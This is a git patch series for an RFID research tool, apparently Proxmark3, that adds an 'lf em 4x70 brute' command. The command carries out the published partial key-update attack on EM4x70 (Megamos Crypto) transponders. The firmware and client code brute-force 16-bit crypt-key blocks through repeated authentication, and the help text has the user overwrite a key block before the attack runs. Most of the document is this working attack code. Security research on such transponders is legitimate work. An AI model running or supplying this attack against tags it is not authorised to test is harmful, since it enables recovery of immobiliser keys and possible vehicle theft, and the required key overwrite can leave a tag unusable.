From 71389e0b17df92a9afb455e50fd3b630271b4563 Mon Sep 17 00:00:00 2001 From: Adrian Teuscher Date: Fri, 27 Jan 2023 19:37:40 +0100 Subject: [PATCH 1/2] Add function to brute force partial key --- armsrc/appmain.c | 4 ++ armsrc/em4x70.c | 106 +++++++++++++++++++++++++++++++++++++-- armsrc/em4x70.h | 1 + client/src/cmdlfem4x70.c | 101 ++++++++++++++++++++++++++++++++++++- client/src/cmdlfem4x70.h | 1 + include/em4x70.h | 3 ++ include/pm3_cmd.h | 1 + 7 files changed, 211 insertions(+), 6 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 756ca4f4f..e4d3354f8 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -1221,6 +1221,10 @@ static void PacketReceived(PacketCommandNG *packet) { em4x70_write_key((em4x70_data_t *)packet->data.asBytes, true); break; } + case CMD_LF_EM4X70_BRUTE: { + em4x70_brute((em4x70_data_t *)packet->data.asBytes, true); + break; + } #endif #ifdef WITH_ZX8211 diff --git a/armsrc/em4x70.c b/armsrc/em4x70.c index 4dad5f236..545491447 100644 --- a/armsrc/em4x70.c +++ b/armsrc/em4x70.c @@ -21,6 +21,7 @@ #include "dbprint.h" #include "lfadc.h" #include "commonutil.h" +#include "optimized_cipherutils.h" #include "em4x70.h" #include "appmain.h" // tear @@ -85,7 +86,7 @@ static int em4x70_receive(uint8_t *bits, size_t length); static bool find_listen_window(bool command); static void init_tag(void) { - memset(tag.data, 0x00, ARRAYLEN(tag.data)); + memset(tag.data, 0x00, sizeof(tag.data)); } static void em4x70_setup_read(void) { @@ -298,14 +299,14 @@ static bool check_ack(void) { // returns true if signal structue corresponds to ACK, anything else is // counted as NAK (-> false) // ACK 64 + 64 - // NACK 64 + 48 + // NAK 64 + 48 if (check_pulse_length(get_pulse_length(FALLING_EDGE), 2 * EM4X70_T_TAG_FULL_PERIOD) && check_pulse_length(get_pulse_length(FALLING_EDGE), 2 * EM4X70_T_TAG_FULL_PERIOD)) { // ACK return true; } - // Othewise it was a NACK or Listen Window + // Otherwise it was a NAK or Listen Window return false; } @@ -339,7 +340,7 @@ static int authenticate(const uint8_t *rnd, const uint8_t *frnd, uint8_t *respon uint8_t grnd[EM4X70_MAX_RECEIVE_LENGTH] = {0}; int num = em4x70_receive(grnd, 20); if (num < 20) { - Dbprintf("Auth failed"); + if (g_dbglevel >= DBG_EXTENDED) Dbprintf("Auth failed"); return PM3_ESOFT; } bits2bytes(grnd, 24, response); @@ -349,6 +350,80 @@ static int authenticate(const uint8_t *rnd, const uint8_t *frnd, uint8_t *respon return PM3_ESOFT; } +static int set_byte(uint8_t *target, int value) { + int c = value > 0xFF; + *target = reflect8(value); + return c; +} + +static int bruteforce(const uint8_t address, const uint8_t *rnd, const uint8_t *frnd, uint16_t start_key, uint8_t *response) { + + uint8_t auth_resp[3] = {0}; + uint8_t rev_rnd[7]; + uint8_t temp_rnd[7]; + + reverse_arraycopy((uint8_t *)rnd, rev_rnd, sizeof(rnd)); + memcpy(temp_rnd, rnd, sizeof(temp_rnd)); + + for (int k = start_key; k <= 0xFFFF; ++k) { + int c = 0; + + WDT_HIT(); + + uint16_t rev_k = reflect16(k); + switch (address) { + case 9: + c = set_byte(&temp_rnd[0], rev_rnd[0] + (rev_k & 0xFF)); + c = set_byte(&temp_rnd[1], rev_rnd[1] + c + ((rev_k >> 8) & 0xFF)); + c = set_byte(&temp_rnd[2], rev_rnd[2] + c); + c = set_byte(&temp_rnd[3], rev_rnd[3] + c); + c = set_byte(&temp_rnd[4], rev_rnd[4] + c); + c = set_byte(&temp_rnd[5], rev_rnd[5] + c); + set_byte(&temp_rnd[6], rev_rnd[6] + c); + break; + + case 8: + c = set_byte(&temp_rnd[2], rev_rnd[2] + (rev_k & 0xFF)); + c = set_byte(&temp_rnd[3], rev_rnd[3] + c + ((rev_k >> 8) & 0xFF)); + c = set_byte(&temp_rnd[4], rev_rnd[4] + c); + c = set_byte(&temp_rnd[5], rev_rnd[5] + c); + set_byte(&temp_rnd[6], rev_rnd[6] + c); + break; + + case 7: + c = set_byte(&temp_rnd[4], rev_rnd[4] + (rev_k & 0xFF)); + c = set_byte(&temp_rnd[5], rev_rnd[5] + c + ((rev_k >> 8) & 0xFF)); + set_byte(&temp_rnd[6], rev_rnd[6] + c); + break; + + default: + Dbprintf("Bad block number given: %d", address); + return PM3_ESOFT; + } + + // Report progress every 256 attempts + if ((k % 0x100) == 0) { + Dbprintf("Trying: %04X", k); + } + + // Due to performance reason, we only try it once. Therefore you need a very stable RFID communcation. + if (authenticate(temp_rnd, frnd, auth_resp) == PM3_SUCCESS) { + if (g_dbglevel >= DBG_INFO) + Dbprintf("Authentication success with rnd: %02X%02X%02X%02X%02X%02X%02X", temp_rnd[0], temp_rnd[1], temp_rnd[2], temp_rnd[3], temp_rnd[4], temp_rnd[5], temp_rnd[6]); + response[0] = (k >> 8) & 0xFF; + response[1] = k & 0xFF; + return PM3_SUCCESS; + } + + if (BUTTON_PRESS() || data_available()) { + Dbprintf("EM4x70 Bruteforce Interrupted"); + return PM3_EOPABORTED; + } + } + + return PM3_ESOFT; +} + static int send_pin(const uint32_t pin) { // sends pin code for unlocking @@ -576,7 +651,7 @@ static int em4x70_receive(uint8_t *bits, size_t length) { } if (!foundheader) { - Dbprintf("Failed to find read header"); + if (g_dbglevel >= DBG_EXTENDED) Dbprintf("Failed to find read header"); return 0; } @@ -738,6 +813,27 @@ void em4x70_auth(em4x70_data_t *etd, bool ledcontrol) { reply_ng(CMD_LF_EM4X70_AUTH, status, response, sizeof(response)); } +void em4x70_brute(em4x70_data_t *etd, bool ledcontrol) { + uint8_t status = 0; + uint8_t response[2] = {0}; + + command_parity = etd->parity; + + init_tag(); + em4x70_setup_read(); + + // Find the Tag + if (get_signalproperties() && find_em4x70_tag()) { + + // Bruteforce partial key + status = bruteforce(etd->address, etd->rnd, etd->frnd, etd->start_key, response) == PM3_SUCCESS; + } + + StopTicks(); + lf_finalize(ledcontrol); + reply_ng(CMD_LF_EM4X70_BRUTE, status, response, sizeof(response)); +} + void em4x70_write_pin(em4x70_data_t *etd, bool ledcontrol) { uint8_t status = 0; diff --git a/armsrc/em4x70.h b/armsrc/em4x70.h index 363f119e3..0fd640f86 100644 --- a/armsrc/em4x70.h +++ b/armsrc/em4x70.h @@ -32,6 +32,7 @@ typedef enum { void em4x70_info(em4x70_data_t *etd, bool ledcontrol); void em4x70_write(em4x70_data_t *etd, bool ledcontrol); +void em4x70_brute(em4x70_data_t *etd, bool ledcontrol); void em4x70_unlock(em4x70_data_t *etd, bool ledcontrol); void em4x70_auth(em4x70_data_t *etd, bool ledcontrol); void em4x70_write_pin(em4x70_data_t *etd, bool ledcontrol); diff --git a/client/src/cmdlfem4x70.c b/client/src/cmdlfem4x70.c index 7021b2b95..f008d9947 100644 --- a/client/src/cmdlfem4x70.c +++ b/client/src/cmdlfem4x70.c @@ -200,7 +200,7 @@ int CmdEM4x70Write(const char *Cmd) { } etd.address = (uint8_t) addr; - etd.word = BYTES2UINT16(word);; + etd.word = BYTES2UINT16(word); clearCommandBuffer(); SendCommandNG(CMD_LF_EM4X70_WRITE, (uint8_t *)&etd, sizeof(etd)); @@ -220,6 +220,104 @@ int CmdEM4x70Write(const char *Cmd) { return PM3_ESOFT; } +int CmdEM4x70Brute(const char *Cmd) { + + // From paper "Dismantling Megamos Crypto", Roel Verdult, Flavio D. Garcia and Barıs¸ Ege. + // Partial Key-Update Attack (optimized version) + em4x70_data_t etd = {0}; + + CLIParserContext *ctx; + + CLIParserInit(&ctx, "lf em 4x70 brute", + "Optimized partial key-update attack of 16-bit key block 7, 8 or 9 of an EM4x70\n" + "This attack does NOT write anything to the tag.\n" + "Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'.\n" + "After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'\n", + "lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 --> bruteforcing key bits k95...k80\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_lit0(NULL, "par", "Add parity bit when sending commands"), + arg_int1("b", "block", "", "block/word address, dec"), + arg_str1(NULL, "rnd", "", "Random 56-bit"), + arg_str1(NULL, "frn", "", "F(RN) 28-bit as 4 hex bytes"), + arg_str0("s", "start", "", "Start bruteforce enumeration from this key value"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + etd.parity = arg_get_lit(ctx, 1); + + int addr = arg_get_int_def(ctx, 2, 0); + if (addr < 7 || addr > 9) { + PrintAndLogEx(FAILED, "block has to be within range [7, 9] got: %d", addr); + return PM3_EINVARG; + } + etd.address = (uint8_t) addr; + + int rnd_len = 7; + CLIGetHexWithReturn(ctx, 3, etd.rnd, &rnd_len); + + int frnd_len = 4; + CLIGetHexWithReturn(ctx, 4, etd.frnd, &frnd_len); + + uint32_t start_key = 0; + int res = arg_get_u32_hexstr_def_nlen(ctx, 5, 0, &start_key, 2, true); + if (res == 2) { + CLIParserFree(ctx); + PrintAndLogEx(WARNING, "start key parameter must be in range [0, FFFF]"); + return PM3_EINVARG; + } + etd.start_key = start_key; + + CLIParserFree(ctx); + + if (rnd_len != 7) { + PrintAndLogEx(FAILED, "Random number length must be 7 bytes instead of %d", rnd_len); + return PM3_EINVARG; + } + + if (frnd_len != 4) { + PrintAndLogEx(FAILED, "F(RN) length must be 4 bytes instead of %d", frnd_len); + return PM3_EINVARG; + } + + PrintAndLogEx(INFO, "click " _GREEN_("pm3 button") " or press " _GREEN_("Enter") " to exit"); + clearCommandBuffer(); + PacketResponseNG resp; + SendCommandNG(CMD_LF_EM4X70_BRUTE, (uint8_t *)&etd, sizeof(etd)); + + uint32_t timeout = 0; + for (;;) { + + if (kbd_enter_pressed()) { + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + PrintAndLogEx(DEBUG, "User aborted"); + break; + } + + if (WaitForResponseTimeout(CMD_LF_EM4X70_BRUTE, &resp, TIMEOUT)) { + if (resp.status) { + // Response is 16-bit partial key + PrintAndLogEx(INFO, "Partial Key Response: %02X %02X", resp.data.asBytes[0], resp.data.asBytes[1]); + return PM3_SUCCESS; + } + break; + } + + // should be done in about 30 minutes + if (timeout > ((30 * 60000) / TIMEOUT)) { + PrintAndLogEx(WARNING, "\nNo response from Proxmark3. Aborting..."); + break; + } + timeout++; + } + + PrintAndLogEx(FAILED, "Bruteforce of partial key " _RED_("failed")); + return PM3_ESOFT; +} + int CmdEM4x70Unlock(const char *Cmd) { // send pin code to device, unlocking it for writing @@ -452,6 +550,7 @@ int CmdEM4x70WriteKey(const char *Cmd) { static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"brute", CmdEM4x70Brute, IfPm3EM4x70, "Bruteforce EM4X70 to find partial Crypt Key"}, {"info", CmdEM4x70Info, IfPm3EM4x70, "Tag information EM4x70"}, {"write", CmdEM4x70Write, IfPm3EM4x70, "Write EM4x70"}, {"unlock", CmdEM4x70Unlock, IfPm3EM4x70, "Unlock EM4x70 for writing"}, diff --git a/client/src/cmdlfem4x70.h b/client/src/cmdlfem4x70.h index 5d46af3ca..12599713b 100644 --- a/client/src/cmdlfem4x70.h +++ b/client/src/cmdlfem4x70.h @@ -26,6 +26,7 @@ int CmdLFEM4X70(const char *Cmd); int CmdEM4x70Info(const char *Cmd); int CmdEM4x70Write(const char *Cmd); +int CmdEM4x70Brute(const char *Cmd); int CmdEM4x70Unlock(const char *Cmd); int CmdEM4x70Auth(const char *Cmd); int CmdEM4x70WritePIN(const char *Cmd); diff --git a/include/em4x70.h b/include/em4x70.h index bce860bb1..734e83f48 100644 --- a/include/em4x70.h +++ b/include/em4x70.h @@ -42,6 +42,9 @@ typedef struct { // Used to write new key uint8_t crypt_key[12]; + // used for bruteforce the partial key + uint16_t start_key; + } em4x70_data_t; #endif /* EM4X70_H__ */ diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index 95750b9b7..4f9917cfd 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -484,6 +484,7 @@ typedef struct { #define CMD_LF_EM4X70_AUTH 0x0263 #define CMD_LF_EM4X70_WRITEPIN 0x0264 #define CMD_LF_EM4X70_WRITEKEY 0x0265 +#define CMD_LF_EM4X70_BRUTE 0x0266 // Sampling configuration for LF reader/sniffer #define CMD_LF_SAMPLING_SET_CONFIG 0x021D #define CMD_LF_FSK_SIMULATE 0x021E From 3c655aeb19df1bd7e904c47dd97f16c0873abe91 Mon Sep 17 00:00:00 2001 From: Adrian Teuscher Date: Fri, 27 Jan 2023 20:24:53 +0100 Subject: [PATCH 2/2] Add entry to CHANGELOG.md --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 942100d85..66ea8299e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Added `lf em 4x70 brute` command (@adite) - Added new magic gen4 cards command in docs (@McEloff) - Added `hf tesla info` - intital information command to read TESLA cards (@iceman1001) - Changed `hf emrtd info` - looking for lower case .bin extensions (@iceman1001)